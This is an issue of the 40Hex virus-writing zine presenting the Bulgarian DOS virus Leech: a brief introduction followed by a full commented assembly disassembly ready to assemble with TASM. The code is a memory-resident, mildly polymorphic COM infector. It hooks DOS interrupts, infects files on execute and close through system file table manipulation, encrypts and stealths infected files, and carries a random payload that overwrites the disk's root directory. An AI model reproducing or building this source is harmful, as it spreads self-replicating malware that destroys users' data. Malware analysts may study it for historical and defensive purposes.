40Hex Issue 11 Volume 3 Number 2                                      File 005

                         Virus Spotlight on: Leech

    This month's virus is a Bulgarian creation known as Leech.  It is mildly
polymorphic, implementing a simple code swapping algorithm.  It infects on
file executes and file closes.  The infections upon file closes is especially
noteworthy; look closely at the manipulation of the system file table (and see
the related article in this issue of 40Hex for more details).  This resident,
COM-specific infector also hides file length increases, although the stupid
CHKDSK error will occur.

                                              -- Dark Angel
                                                 Phalcon/Skism
-------------------------------------------------------------------------------
               .model  tiny
               .code
               org     0
; Leech virus
; Disassembly by Dark Angel of Phalcon/Skism
; Assemble with Tasm /m Leech.asm

virlength       =       (readbuffer - leech)
reslength       =       (((encrypted_file - leech + 15) / 16) + 2)

leech:
               jmp     short enter_leech

filesize        dw      offset carrier
oldint21        dw      0, 0
oldint13        dw      0, 0
oldint24        dw      0, 0
datestore       dw      0
timestore       dw      0
runningflag     db      1
evenodd         dw      0

enter_leech:
               call    next
next:
               pop     si
mutatearea1:
               cli
               push    ds                      ; Why?
               pop     es
               mov     bp,sp                   ; save sp
               mov     sp,si                   ; sp = offset next
               add     sp,encrypt_value1 - 1 - next
mutatearea2:
               mov     cx,ss                   ; save ss
               mov     ax,cs
               mov     ss,ax                   ; ss = PSP
               pop     bx                      ; get encryption value
               dec     sp
               dec     sp
               add     si,startencrypt - next
               nop
decrypt:
mutatearea3:
               pop     ax
               xor     al,bh                   ; decrypt away!
               push    ax
               dec     sp
               cmp     sp,si
               jae     decrypt
startencrypt:
               mov     ax,es
               dec     ax
               mov     ds,ax                   ; ds->MCB
               db      81h,6,3,0               ;add word ptr ds:[3],-reslength
               dw      0 - reslength
               mov     bx,ds:[3]               ; bx = memory size
               mov     byte ptr ds:[0],'Z'     ; mark end of chain
               inc     ax                      ; ax->PSP
               inc     bx
               add     bx,ax                   ; bx->high area
               mov     es,bx                   ; as does es
               mov     ss,cx                   ; restore ss
               add     si,leech - startencrypt
               mov     bx,ds                   ; save MCB segment
               mov     ds,ax
               mov     sp,bp                   ; restore sp
               push    si
               xor     di,di
               mov     cx,virlength            ; 1024 bytes
               cld
               rep     movsb
               pop     si
               push    bx
               mov     bx,offset highentry
               push    es
               push    bx
               retf                            ; jmp to highentry in
                                               ; high memory
highentry:
               mov     es,ax                   ; es->PSP
               mov     ax,cs:filesize
               add     ax,100h                 ; find stored area
               mov     di,si
               mov     si,ax
               mov     cx,virlength
               rep     movsb                   ; and restore over virus code
               pop     es                      ; MCB
               xor     ax,ax
               mov     ds,ax                   ; ds->interrupt table
               sti
               cmp     word ptr ds:21h*4,offset int21 ; already resident?
               jne     go_resident
               db      26h,81h,2eh,3,0         ;sub word ptr es:[3],-reslength
               dw      0 - reslength           ; alter memory size
               test    byte ptr ds:[46Ch],0E7h ; 1.17% chance of activation
               jnz     exit_virus
               push    cs
               pop     ds
               mov     si,offset message
display_loop:                                   ; display ASCIIZ string
               lodsb                           ; get next character
               or      al,0                    ; exit if 0
               jz      exit_display_loop
               mov     ah,0Eh                  ; otherwise write character
               int     10h

               jmp     short display_loop
exit_display_loop:
               mov     ah,32h                  ; Get DPB -> DS:BX
               xor     dl,dl
               int     21h
               jc      exit_virus              ; exit on error

               call    getint13and24
               call    setint13and24
               mov     dx,[bx+10h]             ; first sector of root
                                               ; directory
                                               ; BUG: won't work in DOS 4+
               mov     ah,19h                  ; default drive -> al
               int     21h

               mov     cx,2                    ; overwrite root directory
               int     26h

               pop     bx
               call    setint13and24           ; restore int handlers
exit_virus:
               jmp     returnCOM
go_resident:
               db      26h, 81h, 6, 12h, 0     ;add word ptr es:12h,-reslength
               dw      0 - reslength           ; alter top of memory in PSP
               mov     bx,ds:46Ch              ; BX = random #
               push    ds
               push    cs
               pop     ds
               push    cs
               pop     es
               mov     runningflag,1           ; reset flag
               and     bh,80h
               mov     nothing1,bh
mutate1:
               test    bl,1
               jnz     mutate2
               mov     si,offset mutatearea1
               add     si,evenodd
               lodsb
               xchg    al,[si]                 ; swap instructions
               mov     [si-1],al
mutate2:
               test    bl,2
               jnz     mutate3
               mov     si,offset mutatearea2
               add     si,evenodd
               lodsw
               xchg    ax,[si]                 ; swap instructions
               mov     [si-2],ax
mutate3:
               test    bl,4
               jnz     mutate4
               mov     si,offset mutatearea3
               mov     al,2
               xor     [si],al                 ; flip between ax & dx
               xor     [si+2],al
               xor     [si+3],al
mutate4:
               test    bl,8
               jnz     findint21
               mov     si,offset next
               mov     di,offset readbuffer
               mov     cx,offset enter_leech
               push    si
               push    di
               lodsb
               cmp     al,5Eh                  ; 1 byte pop si?
               je      now_single_byte_encode
               inc     si                      ; skip second byte of two
                                               ; byte encoding of pop si
now_single_byte_encode:
               push    cx
               rep     movsb
               pop     cx
               pop     si
               pop     di
               cmp     al,5Eh                  ; 1 byte pop si?
               je      encode_two_bytes        ; then change to 2
               mov     al,5Eh                  ; encode a pop si
               stosb
               rep     movsb                   ; then copy decrypt over
               mov     al,90h                  ; plus a nop to keep virus
               stosb                           ; length constant
               xor     ax,ax                   ; clear the flag
               jmp     short set_evenodd_flag
encode_two_bytes:
               mov     ax,0C68Fh               ; encode a two byte form of
               stosw                           ; pop si
               rep     movsb
               mov     ax,1                    ; set evenodd flag
set_evenodd_flag:
               mov     cs:evenodd,ax
findint21:
               mov     ah,30h                  ; Get DOS version
               int     21h

               cmp     ax,1E03h                ; DOS 3.30?
               jne     notDOS33

               mov     ah,34h                  ; Get DOS critical error ptr
               int     21h

               mov     bx,1460h                ; int 21h starts here
               jmp     short alterint21
notDOS33:
               mov     ax,3521h                ; just get current int 21 handler
               int     21h
alterint21:
               mov     oldint21,bx
               mov     word ptr ds:oldint21+2,es
               mov     si,21h*4                ; save old int 21 handler
               pop     ds                      ; found in interrupt table
               push    si
               push    cs
               pop     es
               mov     di,offset topint21
               movsw
               movsw
               pop     di                      ; and put new one in
               push    ds
               pop     es
               mov     ax,offset int21
               stosw
               mov     ax,cs
               stosw

               mov     di,offset startencrypt
               mov     al,cs:encrypt_value1     ; decrypt original program code
decryptcode:
               xor     cs:[di],al
               inc     di
               cmp     di,offset decryptcode
               jb      decryptcode
returnCOM:
               mov     ah,62h                  ; Get current PSP
               int     21h

               push    bx                      ; restore segment registers
               mov     ds,bx
               mov     es,bx
               mov     ax,100h
               push    ax
               retf                            ; Return to PSP:100h

infect:
               push    si
               push    ds
               push    es
               push    di
               cld
               push    cs
               pop     ds
               xor     dx,dx                   ; go to start of file
               call    movefilepointer
               mov     dx,offset readbuffer    ; and read 3 bytes
               mov     ah,3Fh
               mov     cx,3
               call    callint21
               jc      exiterror

               xor     di,di
               mov     ax,readbuffer
               mov     cx,word ptr ds:[0]
               cmp     cx,ax                   ; check if already infected
               je      go_exitinfect
               cmp     al,0EBh                 ; jmp short?
               jne     checkifJMP
               mov     al,ah
               xor     ah,ah
               add     ax,2
               mov     di,ax                   ; di = jmp location
checkifJMP:
               cmp     al,0E9h                 ; jmp?
               jne     checkifEXE              ; nope
               mov     ax,word ptr readbuffer+1
               add     ax,3
               mov     di,ax                   ; di = jmp location
               xor     ax,ax
checkifEXE:
               cmp     ax,'MZ'
               je      exiterror
               cmp     ax,'ZM'
               jne     continue_infect
exiterror:
               stc
go_exitinfect:
               jmp     short exitinfect
               nop
continue_infect:
               mov     dx,di
               push    cx
               call    movefilepointer         ; go to jmp location
               mov     dx,virlength            ; and read 1024 more bytes
               mov     ah,3Fh
               mov     cx,dx
               call    callint21
               pop     cx
               jc      exiterror
               cmp     readbuffer,cx
               je      go_exitinfect
               mov     ax,di
               sub     ah,0FCh
               cmp     ax,filesize
               jae     exiterror
               mov     dx,filesize
               call    movefilepointer
               mov     dx,virlength            ; write virus to middle
               mov     cx,dx                   ; of file
               mov     ah,40h
               call    callint21
               jc      exitinfect
               mov     dx,di
               call    movefilepointer
               push    cs
               pop     es
               mov     di,offset readbuffer
               push    di
               push    di
               xor     si,si
               mov     cx,di
               rep     movsb
               mov     si,offset encrypt_value2
               mov     al,encrypted_file
encryptfile:                                    ; encrypt infected file
               xor     [si],al
               inc     si
               cmp     si,7FFh
               jb      encryptfile
               pop     cx
               pop     dx
               mov     ah,40h                  ; and write it to end of file
               call    callint21
exitinfect:
               pop     di
               pop     es
               pop     ds
               pop     si
               retn

int21:
               cmp     ax,4B00h                ; Execute?
               je      execute
               cmp     ah,3Eh                  ; Close?
               je      handleclose
               cmp     ah,11h                  ; Find first?
               je      findfirstnext
               cmp     ah,12h                  ; Find next?
               je      findfirstnext
exitint21:
               db      0EAh                    ; jmp far ptr
topint21        dw      0, 0

findfirstnext:
               push    si
               mov     si,offset topint21
               pushf
               call    dword ptr cs:[si]       ; call int 21 handler
               pop     si
               push    ax
               push    bx
               push    es
               mov     ah,2Fh                  ; Get DTA
               call    callint21
               cmp     byte ptr es:[bx],0FFh   ; extended FCB?
               jne     noextendedFCB
               add     bx,7                    ; convert to normal
noextendedFCB:
               mov     ax,es:[bx+17h]          ; Get time
               and     ax,1Fh                  ; and check infection stamp
               cmp     ax,1Eh
               jne     exitfindfirstnext
               mov     ax,es:[bx+1Dh]
               cmp     ax,virlength * 2 + 1    ; too small for infection?
               jb      exitfindfirstnext       ; then not infected
               sub     ax,virlength            ; alter file size
               mov     es:[bx+1Dh],ax
exitfindfirstnext:
               pop     es
               pop     bx
               pop     ax
               iret

int24:
               mov     al,3
               iret

callint21:
               pushf
               call    dword ptr cs:oldint21
               retn

movefilepointer:
               xor     cx,cx
               mov     ax,4200h
               call    callint21
               retn

execute:
               push    ax
               push    bx
               mov     cs:runningflag,0
               mov     ax,3D00h                ; open file read/only
               call    callint21
               mov     bx,ax
               mov     ah,3Eh                  ; close file
               int     21h                     ; to trigger infection

               pop     bx
               pop     ax
go_exitint21:
               jmp     short exitint21

handleclose:
               or      cs:runningflag,0        ; virus currently active?
               jnz     go_exitint21
               push    cx
               push    dx
               push    di
               push    es
               push    ax
               push    bx
               call    getint13and24
               call    setint13and24
; convert handle to filename
               mov     ax,1220h                ; get job file table entry
               int     2Fh
               jc      handleclose_noinfect    ; exit on error

               mov     ax,1216h                ; get address of SFT
               mov     bl,es:[di]
               xor     bh,bh
               int     2Fh                     ; es:di->file entry in SFT

               mov     ax,es:[di+11h]
               mov     cs:filesize,ax          ; save file size,
               mov     ax,es:[di+0Dh]
               and     al,0F8h
               mov     cs:timestore,ax         ; time,
               mov     ax,es:[di+0Fh]
               mov     cs:datestore,ax         ; and date
               cmp     word ptr es:[di+29h],'MO' ; check for COM extension
               jne     handleclose_noinfect
               cmp     byte ptr es:[di+28h],'C'
               jne     handleclose_noinfect
               cmp     cs:filesize,0FA00h      ; make sure not too large
               jae     handleclose_noinfect
               mov     al,20h                  ; alter file attribute
               xchg    al,es:[di+4]
               mov     ah,2                    ; alter open mode to read/write
               xchg    ah,es:[di+2]
               pop     bx
               push    bx
               push    ax
               call    infect
               pop     ax
               mov     es:[di+4],al            ; restore file attribute
               mov     es:[di+2],ah            ; and open mode
               mov     cx,cs:timestore
               jc      infection_not_successful
               or      cl,1Fh                  ; make file infected in
               and     cl,0FEh                 ; seconds field
infection_not_successful:
               mov     dx,cs:datestore         ; restore file time/date
               mov     ax,5701h
               call    callint21
handleclose_noinfect:
               pop     bx
               pop     ax
               pop     es
               pop     di
               pop     dx
               pop     cx
               call    callint21
               call    setint13and24
               retf    2                       ; exit with flags intact

getint13and24:
               mov     ah,13h                  ; Get BIOS int 13h handler
               int     2Fh
               mov     cs:oldint13,bx
               mov     cs:oldint13+2,es

               int     2Fh                     ; Restore it

               mov     cs:oldint24,offset int24
               mov     cs:oldint24+2,cs
               retn

setint13and24:
               push    ax
               push    si
               push    ds
               pushf
               cli
               cld
               xor     ax,ax
               mov     ds,ax                   ; ds->interrupt table

               mov     si,13h*4
               lodsw
               xchg    ax,cs:oldint13          ; replace old int 13 handler
               mov     [si-2],ax               ; with original BIOS handler
               lodsw
               xchg    ax,cs:oldint13+2
               mov     [si-2],ax

               mov     si,24h*4                ; replace old int 24 handler
               lodsw                           ; with our own handler
               xchg    ax,cs:oldint24
               mov     [si-2],ax
               lodsw
               xchg    ax,cs:oldint24+2
               mov     [si-2],ax
               popf
               pop     ds
               pop     si
               pop     ax
               retn

message         db      'The leech live ...', 0
               db      'April 1991  The Topler.'

               db      0, 0, 0, 0, 0

encrypt_value1  db      0
readbuffer      dw      0
               db      253 dup (0)

nothing1        db      0
               db      152 dup (0)
encrypt_value2  db      0
               db      614 dup (0)
encrypted_file  db      0
               db      1280 dup (0)
carrier:
               dw      20CDh

               end     leech
-------------------------------------------------------------------------------